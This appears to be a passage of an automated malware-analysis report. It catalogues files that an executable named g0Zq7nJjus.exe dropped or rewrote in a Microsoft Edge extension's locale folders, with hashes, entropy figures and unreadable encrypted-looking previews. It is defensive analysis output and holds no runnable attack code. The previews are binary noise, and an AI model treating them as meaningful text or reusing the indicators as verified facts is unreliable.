Preview:	{.. .IG=uR.xR...GY".X.0.M.<.......G. [.r..X.HVe?......D..o.....a].........l...N./..Y1X.q..5..@].b~....S....q.Oj)..r~IFX..dC......G7Y.S................/.."[...<.c&....,.(....^.I...3L........$^...R.H..&MEe..A......Cuv....l.8m...Fw.XIT+;0F.0.q."&.HM...'`,.....:.;w4.]...}y..l ...Y.^.\|..f......<J.06.1.2.o.\.......rL....1...E.P..eP.....T.t~.W.a....O\|..Oil....xak..F...O'.5.lv^{..\|\.K,j.......d..w.... "MI.H..V..s.......F5!jp...+................O.Q.K0,<.i.A...'.i..)...O.`M.A^.C.cr....1.xI..f.:...?V...RK..!.XzYN+..X......Y.,...1.].VB..$...r..cp]#..2.Z..J'...(b..V.H.'R...>t.#\.-O.Hse.......[..R..Q.+.T..M.`.d.Z6D=2].]..WdN-.rc...Z.m.c.."~\B6...>/..._.Z..dZ.i.#...8.r...&..N..H.W.T.~8y..R....!....0....7....WJ......C...........k5C7=.\C..=q...".... .?....z..]i-.-..3.}....^...\.J..=..K.v{....W.2...J.k.t.B.....\|."......./...B.?.?+.8.O.`.1*.=.q....D..I...C......X.FtE.Q.....{.%+Z...t.d..i..<..F....e ...m............$&..(.=....C.qW=Hz..A."....G/(]E!\|.-.d...$.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ru\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1671
Entropy (8bit):	7.893047152837545
Encrypted:	false
SSDEEP:	24:IpE8x8RkD7ptiBVbvdOt/N5GFBwyCb7A6bqpQHleE3eaZB+0LAOI2P90cJUq6o2X:3y8RqqTdOH5iu7ALuHleE3lSsPLUq6bD
MD5:	B7645AE5E3552AD2AD539F657FB6F73F
SHA1:	C05C9B2C8E3D687A0DAD35BC1A17D6190154612D
SHA-256:	9F68CC9DEF92022C6ECF4943AC2AC61D0FF241094875C4B61671871D68B7A1FC
SHA-512:	4F7BF501885D6BA6132CFDA8F6D07B42C5AF2BE961084D69799F0E9DE2AFB47DE3953F56EE55436BC9CBF25CBE1AE6D7636E1E6FCCFC8823789F9AC90C01801A
Malicious:	false
Preview:	{.. .Ya.?.......-...)$..}....mN:.....vi?C..?.A..0.o".znbe.Q .R......q1.{B..D......4x.0.O^>a8.....u...-Y.]t..T.....7y..zP..8...'h$l&.[...x.`F.PbB....;.K.2.V#X...Frq.cx....#h.M..O.....D....x./.z..&.....D!.N.L.+.lW.w....#..G&X.....J....E,b....../....sX.8>.;.F....+q.e.Z..<_....{..$...H..J....i};.^`K._...?.Gn.O.. 1..K...~..d..b.E0..{o...{W..._...?.i.z.i...`..kkq........./..f.;.1".............B.....D..3.w.....Nb..9..`q..v............0.^,.....?..oc..c... .....Pn?.@.Lq.....M.5..N......\|..a..U..X>q..QA..b...]z...IV....i....w..$s.vP..[1.w...R...._...3M1....u`6.........K....2.=.yA\|......8....;\...@.y..$...-.W\|..=.C.>......^....O....E..#......d]...."uL....+\..&...\|.?8..m44.B.w/.?.......!d.....L.;2P.gxZF.......n%..T m..79.......\|iK..K=..y......]Ai.S...#...r.h....t..$.q..J1....E}k..O.'8.CnK.5....#..8....C...k.?v&.......;,.J...}F.).j..i.D".....H..../......Li.D...oC.j#A...U.a..P.JRC....(...../J.....@.)....f...B.3..f....&">.&...[)...m]..s....] ...\|'.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\si\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3180
Entropy (8bit):	7.933926592236413
Encrypted:	false
SSDEEP:	48:YncwhqL2Cx2IoluwgMKgf7Y+IH96FHdGbvjaMTAcSbxoqpS3/rQSMn+t2J2TqrSu:h4o2WMV7oE9G/HTAcWyst1YTqrW/N6nJ
MD5:	7DDE3DD2EDB20BCE24D44C5B5C261E67
SHA1:	51F7CE07FB3EF38035CF29129E1E7B796DE167C0
SHA-256:	5FBB1643A9A6410B5BCE5813A9B5061B9D45F7C51F6D9E2EF10830D5BFD774DE
SHA-512:	B0D1968CD351608C3AF4C092C0E164B62E8A6C67BA4DBB2AE43DD448F8ADDF980E21DAA94563725B093CF3E46AB2B0E4CEE95F709E50B3E7008A4EB23A686EB1
Malicious:	false
Preview:	{"creX.._....:Q.c(xf....sA7.g.oU.P..}E.....=...h..C.#5.B/....m.....{L.."....O@.VP=2..;.>....vKQ6?^...s...?L..x}..5.:.n.Y.z..H...>.>V.Ha.{...U^..h.+.R7qm.-.EJ.'..'I....3..`[./d.xf..B...!..E..V..\|}.u"....`..M..d.....i,...;.6z.V..DE.M................U-.x..1...UH.3....F..e...62..=.zu2u.V)W6......5.o.%..C7n0...o;/f...eua...D\|...y.t...&..)..hR.....N.>..k.........;..VI..w.C.K..A..."H.w.?g."..P....n..o.m.y...' .....^..{.y.W>.Tw.:..oa....w..;...IQ$.C...7a#.h..>Q..-!Q.....5..Xe..3.............%C.}...rq)[.u-.R.I.:h.g.W..k.KYD.3....?.Q...,bM.....&......:..l3V...w....lq5..Q.ps.ES.D.'@W?.Y...v.u....d...kE...Q..d.Bo...2.@.N.;`../..cM...B6.$u..O[[cj..}D..dq.gR...x#%.a.....iV...v...8a...?... .../.H....Q.x&I.p.y`....4'g.{...e..@."(..P.r_../...73:......<..TS.U..b..T...7~..u.=.CL..!..c...p21y.!..@.R.n..3......x^.....#.43.E......L...#~.g..i...<.^...._...T.X..5...hc.....a.=R...5.....a.`..d..~4-.*....^..).a....\|.f..A.R.j..g?....c........H.,.Y.G...z.H.Da.J.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sk\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	7.849957810717686
Encrypted:	false
SSDEEP:	24:/J2w3nQ8a6sE940OXu/LC27WUKCGR7yZdeguBh983J4c5eHr942bD:xr3QNEac97W2s7cfuBhXc2BrD
MD5:	DD2712341FA5372761E1B8DCD4D889FA
SHA1:	1A009FF923246D521FB157F227122D57BE1FC87C
SHA-256:	F8AD0E9C696BC06DF3AB9DA7813663452D63C68D1FAE9808CDE4B3D4DB5AC771
SHA-512:	F377620CAB58C1AD6908A0873D8ED9E5031A25D4EF204FADB67A7E1387C7DA13E847C591E65EC89C178130C53FBE03B8AC7BE6F21EA2DC89AAF885FE08483F8B
Malicious:	false
Preview:	{.. ......'.....mz.Oo,k.]...}U@_...&.T.W..;.`...F.....M..R..%.T......T`....RZ..:..$o..}.N^3..@........<.b..I.K.$.Q.f.rO.b....H+.h.p..44.H[...V<hw.:c.DL..........X..5M..5V..a.n.Z.j......9?n.fN.R....w.12..."V..P......dU....6..0R..,.y.6R.?.F^..y..@L,R.!..k.>..8..@Z.F....xv...3l7.()=m.G.J.Oo.H!...e;.P!2..5..........D.....5.(..n.o...[.........g.-...I..,.^0^.....`.dZ&.u.y.o...7..j.5.}_..........q.6.IX.......ol:.u0v..l.K...NR;7K.....{.}.....%..!z..L.9.7..B....L..y....=.....3.....m:5....1....{..F(d.\.m0?x(.O...`.^u3>..._..+\....fyF...6a.:...g.'....bW!....}$....M...tX!d....]..,../._oA.,...DW......rF].M.C\|.U........B...'..l.j........=......C....C..s{.OW....g.G.Vp4...D.d...-..xv.gxc.-.!z...d.V.$....?.E.../..L.....b...%......i.~....k.L<.H.....r.Z1C.$Re...i'.%..1K{K~Q.....l.g.).$8@.......Ke..p.........4_.k.l/...j...>"....7fM".$\|}.Y.*.E&.XZG~}f...1..s.Q...D..4.-....d3...y..i..@..h...^.7z=....$..C..GL.W.?}QR(..!.P..(q<.<..6...F.5F.....7.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sl\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	7.849008666527399
Encrypted:	false
SSDEEP:	24:55PRwFXynLfH+2r2vGZsw9fnLYa5FNZC5Y6xQ2VRAiYMUtZoVg3sNZVJCnLuNVM+:5RRwhyn71CKnlC5LxFVRGMVisNZbCny7
MD5:	76F60116266619552968070864CEB5F4
SHA1:	5EDE21D057305E2C6C986119901CABEA3D543AC4
SHA-256:	6B4FBE951AAFCDBE4CA28D3B2677CF716579BFF7CE9BE2DCA5AA52C0144DBF5F
SHA-512:	05F84CBF0C84BC3D27A04B8288A3639F48F7F6F181CBEAE4A5D8A56CDF7A883F1581FBCD1FB97FA3460706DB14246B697E7904180B4590FC5E10CACA112316D5
Malicious:	false
Preview:	{.. ....A.5.>&.@V....]!b....K..A;.$..ke...f2..h..w....\|...rg.D@........z.<'.#...@Sn....q..q.,..Ym......o...0$..H1..........]..0+.......S..H..H.Ob.....[-]N..+O.Yu\......X,..>4..).7YJ..\.......4..z..`..W_....!....r.....ljSJ.`f.>..3}.ur.=.#.ZqRpE.u.@3..?..r>Ms.B..bVf .P...Ja=...1..)....M.3.{IB.3b}...Q...T.5(.2..............b........Y+..M7..n..o.d...K.......G........gg..jY[.P....5..;.H.....p.....".n....JS&jsQ.....B...Xy....o"..T...r9...6f^..v&....L.........B.THo..O...:N...I.>>..M......k.2-..)......M^J.......Tb...r.z...5K:wB.oQ.....\-..a.[.V..'.z....V..nAy.....bgq....G....<@vU............)7..-^..J......`R..sL...\.*c..;.P.......[.xX...@....wS r.bC.4.d....zp.....?.h...j.pe5.tR...P..U.....V..\|..,{J..s.J....6Bf..&.....;.L.G.CF......c.m..D....z^/Eo..:.N~4N.=...)7...yH......9.#..Le.Z....E...d...F...\|......,.z.b..MP..!..m...p..@....A..>v..A..\|=..4.Y%.c.Yn>v....Q....Yb.ec.......S..-j[.....k....T+.AM.<gz.).D...{/.XW,........J.S.......3../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sr\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1654
Entropy (8bit):	7.883523782155103
Encrypted:	false
SSDEEP:	24:PIQfIza48ty34jIIqMkO2QrJ3tLWs+xHdmImi7ChzPNnHa1U6m/c1F5x/3glnIA+:lfIzziy3QV2wfWsHtim1PNnHaTscGUD
MD5:	882037182E4725E0A644FB8EA1F1F53C
SHA1:	5823E243B0CD9FC0912A53EFD8AA81C56DFEDA13
SHA-256:	D89874827D98268B099B610B1CEBF3F8E5FBB3E6306DA8A16E4DAB3995EB7B05
SHA-512:	C29784D9FF72AAE9889857B6F12D72BF6C355C5F4E2290DDD72DADF11962349B1D8821CACF9301E0B85DDB0CDF7DF04A2EE7C5EBE6CC1658585BD80D66E27C51
Malicious:	false
Preview:	{.. ...pV..iS}S....M<?d...e^..P..c........$..O_.$.Y.Tsw...>...y.>?.6.>c._..v..$.\|......`..C.V.`..n......F..N)u.L.:..g...7Y..ej.)..^p.....I......6.p.....2.YWX.....^f..d....kl.E.....H.k.r?.../.;7.nn...h.]....s...Ct.2..z...:.M{.T..8...{..\|..O.C...9.M.>..3.....~Q+W..Ui....Z.H...U....).e3...oHO.7.1....E`..,R\G'%#..8..-D.D.Zs..yCS.rJ......e0..}....3.gl5..b.....6F.z...\|.N...w...QXA`(....}?..../p..!.1#..6P....p...l....'....R{.2}....o...u..%..}....O ....Yq.m!.?...`..m....v.%<A.u....0......p".oY....%.B........0Y.F.h\|..3........x...\|....O.3!...,.`.4...\..nw&..rbp.w%..I.=.\|...[..A.......b.'x\|.........m.........:l..!....K..3...c... C....\|:U.DO;.G7.......L...RF.$..$.i...\......o....R.e....f...~E.1..n.n.Y.7..b..v.x..G.Ea.z.'.u.,.a..=.w...w....3[........Db..R..&UY)y.....~..v..\|..'..7W}He.:..'k.$.z..FU..C.................?.]H.....tK(.C\KO..J.\I....p.Fg.K...Y....;.oB.SDmRQ".2.p>.a..i).CT.4..f!....B.G4r.q..z........\......u..2.u...a..DV.u*5..)V]C.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sv\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	7.838590543366129
Encrypted:	false
SSDEEP:	24:KCreAJDdS/ZpkzwP5e5odr619DVk1jK0botdmyGEKj3IhrJy2bD:KEOe5oIDO1jK0kbmyPKj4hrvD
MD5:	E81A12882D3C8E3DDA83E6A19D6C7BEE
SHA1:	26C167C9F07729F087AAB1D583C3C2E7C418948E
SHA-256:	DA9D8583AA522FE86B25CF0C6CC83BD5FBCC384BDF93D0F8EE4F50AB6E23D674
SHA-512:	C3D65DE11C1226877737CAC028863651563C3F0D9C1CD8D1CD377166E3553D920955D61C293D771C22CD4C507F9A46F94C7598DF81722368429B96F02B750D76
Malicious:	false
Preview:	{.. l.....!..[.&..D......>...M..Rc.5...In.XW.'../......zL.@...........?..o.I-.......j....k...sN....4...Q..zr....O.7.n.........`....N\S..!?3....jN.n...g...Z.&t.............G.a.0..'%..w.~...H.a.%7.J.X._.........7....a..bl.....Z.O.....4..s?...q.@.s..?....Z.O..s..!......p`......6..mP..o..2...I.?.omOu..r.B.e<ccP......#B....a...../T...p.H ...v.n.?..3...a ..........N:.\|.h[.....r.o..L.....5....Z.O`.PW.l9....n2....3L.N.c=.,._..p...........?..P...A..t..$....4.y...1.........#.9.#..O....F. .y.>.. G....}@:Z........_.C..;.Ew..i..p.k...T...UQ...7\....rB.........1..g...M.b..vh.z)..#...6R..E.-.=.g...d..<.A9.]...&...F...Ni......[i.Y..,.H...p.6.L$..i.Dfth........J......u?a1.:...~..4..R9...F.8.......]..#\|.~..j.bA9$.8.K........9.!.`... .\`.L.k....U ..(W.. ...i.%.......,......k.........z+.~V..2({0d)0p].......!...c....N......8._As....V(......y.W..i...=]...g.d...AWd......k..........E...zayY{...ns.rZ.W.w...w4&....$"..>.Vm..}5<....3..\\%k..Ko6.EB...m..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sw\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1314
Entropy (8bit):	7.861732293506971
Encrypted:	false
SSDEEP:	24:7hADB7x4IKAVJctghsT3Utmvm1WTqjDmmhLoF9xERiE2bD:7hAL4IKALjs4om1zj1JoDxEMD
MD5:	8FEB3D007AAB21884116764BF0AF3B28
SHA1:	55935237720C02E8BDB16E216FBDE0B51676A724
SHA-256:	D3422BA2CC0405D6EB36BAD0E6D1F3F67FA77933268B8ED8A276AA34204BB956
SHA-512:	F16CE59CB9E5509A7C1D23FF0A85184764CEFC08E8AA0CA9AFF622411A12184B9A81FF6C1F1228D46A5CF129DBBEF810FDD9C0DFA41FF3CCFE816A59FAB376A7
Malicious:	false
Preview:	{.. .)^6HXV.......v..J..X..i...W.H.}...ofu..0..=...C#y......Ht.....8`:.+...ll.$...<_.^.W...MK.....yQ.sp...&q4~.;%.G.........A#.m.D....._..g.mOc.3.....5+..+..e....@%...\|6......?.>..U...._.."....yoY....S..x..BK.8..7.^.p..`...Pv...".J@h<.....'.v.k....j#...{.........j!..\....4..{.i....Tm.C.H^8R3..`mi...o..B$[...+...Xru..e...u..c..,Q..{$b-.w.....f...}t..'...J...L..N.bj..o).d.....>..8Sc.. n....R...&.....GD.(..c..Y9r.....$...."[PUC......3Th....V...p.....1}N.LO).A+.w..eL...p.W.u.).T..l.\|hM...>.........(..]m.kY...R.....F..V.S.......Cn&q..A..0...Z..g....no.N...b.Mj`V?....~....F&.3R.[..s.......Q.UUE..m1..B.j2...esN.....B.$...).......p..9r ........)y.!V...:.P...)..u..0!.......{:.......p....-..G.8c..D.......)....~.Qq.,b.bG.&$...c.....t.ZF......T.\|...{.\|6.0!_.xy6.`S.......u.s.bF3...%.]Sr_6l.^....P.Ga->=_..V?...`....E....I..+.uQv"M........b..@...H.'............!.._7..=4E.V"....2f0.3......E.gn...v..@..2.O...6...'tn.;.ux.E..y.Z.%..d.u?.Z..K...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ta\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	7.911568119676867
Encrypted:	false
SSDEEP:	48:WsdnlNuxl6RAwQBMG1zGsqN78o1Qjyl23rBGnED:FbNuGnQD8sqh8kQOl23rBGnQ
MD5:	3A07025777E3CC43394D4DE6CF30CFCD
SHA1:	31BC28E372C645C2ABC199EE82016D3235E37673
SHA-256:	F16D7FA963C1DD8BD3F5F9A0C43962E2BFD4AC0BBE40AA36623EBADE3BFDF836
SHA-512:	28AA851F5E256ABAE411C6DE4C6547BCDAD13DD717FD170306D6A40D1195F5138A2F250AA07942D2158DAEEBD25DFE09F0A45E35CB71136709DE87E0B1131D76
Malicious:	false
Preview:	{.. ..`.T....BJ....1..h. e.-...Q..NB...o.m......L."J.\...O.0@K .?;'"....AOd..b0.....Y8~.wso....f...DB..!.V...)..R.d.\|z0.N$..^'M....G..........0o:$.........rT.b...D)...D....T..Cb.A...0..a..........?h@r.....9iU]H}r.7..o.W....\.sq..9Q./....;.M..dSz.,s.I](#..SQ..8.K..O......+.!...ZO.........0Q).\.S...S.j.......7.g.a2.<zE...`.Q.\..m....~..P.dN..D.b....C..\|..yA...0/U.v......lF .3.....t.y7.........Bi-.A.^/A..".=4H.....L..cO..I..`..y.9Gv..D@.1..R.....u...v....y....D..X. ...H/..JObF....~......c..I..~..A@.Y7 ..^.Az.......KF.Df.....m(6.2.y..>.y.e..8.!...9h..H.I..\|......N..2.<..$5x.vI.....i..s0HA..7n(..T........}.......S...-......yG.....j.........f.p_U.H.XU.X.]_....3.zJ.%..h...]._.......,K.? _...x....e.%m\|..D}d..;..:<F\|Q.e....U.:.0#...........).y......@.{..ow6@r.z..Xw}v..Q.....z.hC..D.R...c......m..j.C.}s........ID+...V.3....'.....`\c...].....mc...B2.._c.v..o......1.Vv;..........:M.. ....A..\|K.....3f1..>].I......r.1..;.b.....J.C..qT......y...a7b;*.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\te\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2303
Entropy (8bit):	7.9232649981307315
Encrypted:	false
SSDEEP:	48:ONXF+IvgSj3wCAqCVW8f8Jv/0fFQGULbI4U5HekzfHLz/hMD:ONXF+s5AqCw95GULbI4Ut9Hv/m
MD5:	D08972C990291622B8D0A929774AE7B4
SHA1:	3DFB9F7979891269FB4E4B7C4B9C96AE5730B6CB
SHA-256:	9CCC878C08BCB479394372A19825BC52AC749CE09A2489717E3FB4DB87D1D2F2
SHA-512:	267486FA86BD242E16A74F43E4F1D16F6EFB45CFD53769D38B3EC4FED2A27F0D49627137C11E2E46503F817FE9E3245E0F50A37E1380D6F6AE867F9A3CDD3EE2
Malicious:	false
Preview:	{.. .@Y.......~u...=.Y......:.w.U....e..[!.....s...i...C~.c..ALmC.x...UF...MuC!.)......q..H<.-P..<..k.+.U.'...Lh.....JI..Ni.........u,y.c....b.B._5.V9......78c.TUq....N.......Mc.R..N......d....}.....\|..E...8..#..}.S.....r%Z.I. ...)'....&......?.J...f..E...(.........\|~.aDvn.B.?........r?.Xh...g..X...q..r....O.2Mt....o@B in..M.A..t..d..@.)....t ....u`.$......V..s....l...Y..V.5=.yfp34&.2.^1.P{f..4...3Z\|...0...y,h..:...":.%X....D..".w}/........ll^............y.....6 ...Cm.z.J4...o..yD..P.5....O.//...8..e.......6..0..RW...Pi......-....H...,}.\|.d.=.m.ER.x.$.M....D.LS.....d....J)..0....h.Vtd.Bd#...R.u..f.?G.[.H6.Y.m..E....\.iVs......R.......>....h..[..0....Q?#..#.30..U.;..d....F.0.'.W.~.\wV.uk...0......j......\|^.g..4.&CM~rD...(.4....S..#-fw.G.....f}i....s.z...8..e.......#....s.5..z....:E..r_..9.V..]......^D.(M.h.d.&.. o.H....m.?......\6.T..Tj.oCF.../L.~b...Y......_...C......\|.D.;\|....o....D.\|..j@.=......:..>..\|...}..Q...\..T{W..)...E..jg{U

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\th\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	7.89788611084666
Encrypted:	false
SSDEEP:	48:N5DI88JOkUa/h4NUWAVLN4bp7nJYGxXk+/OBv+8ir6mID99GpD:fD18iaC6LUpbJYGNkqOCh49a
MD5:	269081F0E3D4CE4D3A6C5CAC846E3032
SHA1:	4E8AF5D160F2E8411F3744926ECF9C112D7BE67E
SHA-256:	781519F2F96B9C17BBF30C1D5FEB7100AB85CAA77DF9FD860709E5636949B4AB
SHA-512:	831B2E20F685A0C24AE605691C5871F71B553BE482B851A89D0D97282A5447C24B3CCA8CACFA587D1243B38EB177FC1C2B6EDB8F139493052EF8F4BE16ED6BFD
Malicious:	false
Preview:	{.. ..J..Yi...R.a...x;.q;~.......K.n..8..M...t.....;7....Wa.V...\|(7.w.^+....4.e.........Z0p.$..R../=..].s.'..Q.~37y......4;.....%..gG.....9...-`.../....[......9i7...I.)b>0!......F?R..a.....b....{.e/.D..T...}0....b.w..f..u..x.......^....K.......r.3E30.....v..\..z.B(\|...J/eMr....Y.\|Us.}.I$z......7ak,.?...Cu..{..mev.....Q.W....uW...8h.......0....T....eu.?.3..c'.o..T..G.Z.9...{FaU.'n.....\|.a.:t}.U.E..U66\|.....{..5G.n...7..`w.L2.bV..}e......e.\|.\...3}.j.Y.`c.4.^..U$..\..\&..k}<....A....>..r..Tf..0.N.Hj9.....&L/.B%.Q..(...UfnDZ......k.D..]{...F..g./L./...-..G...V.9o..c.1zlUq....K...Q.H.<jbYv.T#.W...\|...r..K...7..uo.V).t^x.>.cV./...c.Bg.....Vk.1. ..Ye....X.B...,.B.f..$C1..s........@..f.ou....M[....3PD.!..p.M.^..\|...)....m..c:.....[.]..7..../Hc..UL>.r-.'n.....9.........S~..8-.......2..CP.'a+..[T&...b.J>...r.Jc.....l.8.Li..........h..4.....-..^..j`.m.h=X.$.......0.z.Ka....jm6._.......cB...\|P`e.........S.C.........h..U\..."I.36.U.....n...v

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\tr\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.847645935677912
Encrypted:	false
SSDEEP:	24:hpq1aUzkOYb9W2Eh0YUUn5AgKrz+eDT1U5KHBJYeyPkIFhbDc+/8QKI7bMBm2bD:UaUob9zEh0YUi5Ag0z+eT1U5QLUkIFJo
MD5:	151CC1DFCA580680C82E51C02E233275
SHA1:	D8F3AD2AA2974F17405E9AC5C3FBF9282A130C1C
SHA-256:	C96C0E15F344BE77E3A633E85423FF776E203F61A1E21D03DA0DE090971FCC5E
SHA-512:	7F5553C832EFC77E614E125B1E72CC420A13317A45006111C6322CDA9C700E3684B4F9F0FEDFF9F8A6EABDA620306EEE7E2807C1D6789E9040A86920FC165FC3
Malicious:	false
Preview:	{.. ..O....g.RI0..:..U#:%...nd.[P...l..K..;.$..[&...}^T..8.7...`.?.FG...Eb>..lN.hVD..Y.M.`.G...L...... e..+)Us..acqW."..s...<.....(\...S...S@...)#DOO..f.-P.(Vq.=E. ...0........-.D.:.m..7.@..2.....B.b....o~(?.......zL{iD..<....o>-Y:,.._........~\|-.z.aG.Q..;,1../C8.6.....m...[s..5..jF.^!V..1..5Hr...?.B_n.R...P:..b..]...Gd,...eXm"/.h.t].~.r.&.F...w._#.0.5s.......m..Pgev........g..\."..C...[.Z.G.4...4....yh.q.1O.;...&..p"....`.........;...gD..O.....H...=.5....axx.1..\.....D..8.[W. .+E...c%.......)M#5.].C... ..R.cD.[..0..F.b.5\[....$.>b...`..........F..ZPP..>H.....&.$..;e.L.6,./.q..s>f.o..%n...&/.Z.....\.[.\0..f.sp.`.......Vw`...Sw{;P.g<.{~...z..1.R.!..}...}.p;....M.Ev.........a.o..H...I=.....mSd.0..,....!...C@...^...G.3......I`.-..&..A(9.TQ0...V........XG@.R..nS..(z..i.M....k...J....)...:...=..2w.>.\|..vu8...*8Ow}'g.+&...........T1.R...2...l;.i....h..9.#...ON..;6.Z./..m\|q#....qO.12.w..>>?o.a?s.0a..&.z. .....H.6..Zm..B]..)\J.............3..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\uk\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1667
Entropy (8bit):	7.870178681462454
Encrypted:	false
SSDEEP:	48:tG3ySRpDLPkj+s6lPHymX5dmz2zDTqCEUwvM+l9TZD:M3ySXTkjl6pSmbLbqCEB/HR
MD5:	304F713EE7A402E5090A9AFFCD574215
SHA1:	0A732312A8ABCA883D2B3CF59B8A52FCD2D29381
SHA-256:	B7E8411B8E313148775D152AA753AB8D47C943EF4634D72245EDCA2268001240
SHA-512:	552C29655C4B77D35C62CF7A82DBA93615A5FCC2733235AD80DC1B7254837F73C4FD82BD71BDDE3F9669BD268F188B748AE9EAF6B1D7B55A9EB89977EC339BFE
Malicious:	false
Preview:	{.. ..:.Po.}.......KxQ...I...x5%...;.....gp..JY.g..}4b3.2.Y`'...d'P...e.D.L9.;.w.c......h...........z....w.d...N.F.wI.]E..\|r.w..C.b\.c...+..ye.n.;.,..:(..\..%.W._......S........H....?.-..;{.7......u.-.-t...............G..D.6c..c.,..K.F.I.9_..p...{.=..HH.=....T.l.Jo.....4.....k.<5.w....Y...P...5\.E[..Z.O39.....].2......_DH{x...JEL.i..<..8.4.&.Es8.{..z".S............d.......+.....z{j`..,..M.q..Nxi7c...w..\...t....h/.(.]q.>..l..R.UR.a..'..vP..f..4.=O]..iBZF..s..E......Bty....H.U...;.d-d.......Fy.r......\|)\...T..a_.{.7~........A..(.i.w..M........q~.s.5x..Y}.W;.9...p..l.J..o....aYE}...pF...l..K.ULc5..p2..P....7{..k....<Y..7Io[.g..O...9.]H.Q.5q.p..1........U.sb:#.p...W./\|a.69....;.".)....=3.b.==\..U0Sz...}sV.S..]...@...h.tFV35..J>v.sI.9..um%.5.k..._W..[s.z.ME.c~xb...hD.n)^\...'....G.x...i.....q....v.^J.4g..)..db.MP.....n..h....bN?....85......F"u#U....Y.p+......M.Ytq..S.U..Po(A.b...r_....R,..<...K..>+Q6OZ.qX..........Nk.x.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ur\messages.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1597
Entropy (8bit):	7.894923750644128
Encrypted:	false
SSDEEP:	24:CvmMDmWOfhC0kg0+1hT01/eu1mumDA+jlObpuMqfAIL2qeG0gFpK1tKuvlncE2bD:Cvm0mW2hBV1hT0tLwJc+pOcMVGzgG/D
MD5:	72904161160B617D0D28A2E10A24C11C
SHA1:	9BA2479C3D703D83CE231BA95CF3555CC5ED7F9C
SHA-256:	2DED4AECF9D8973E89A7901E91BAA425B97F487CF4871AFB9848EF68B2ED6266
SHA-512:	964FAC443BD2081346586EBC4DCA154FA64FC40F9950DD5A527E1C3B51C529E409EBC7A5BA504992B642BFB1694001003C221EDAB8D866C4165A6C5D97F6B73F
Malicious:	false
Preview:	{.. '..}P...u[.M.K..?3.O...b.....]m."?]..w!D..[.s.N...s...!...uO...$9....=..Q.G?..}LA..Y...#.... \|f3..l.w..U...P&.;n...V^..'k.e.(N.`#...T...`..t.x.ZT.KU.+!.6..2.<.yC..."~..w2'.h..G..1.........kI^w.\q;p...6..}.?`.l..... ..2..3Q(9Yj+.Q...u.f._.W..-..^.s.....xzL...]?...[o. i[H..S...,.G..=./f...'KZ.!.Vi3.!n.8A...c....9.2..4=....T.,B.K 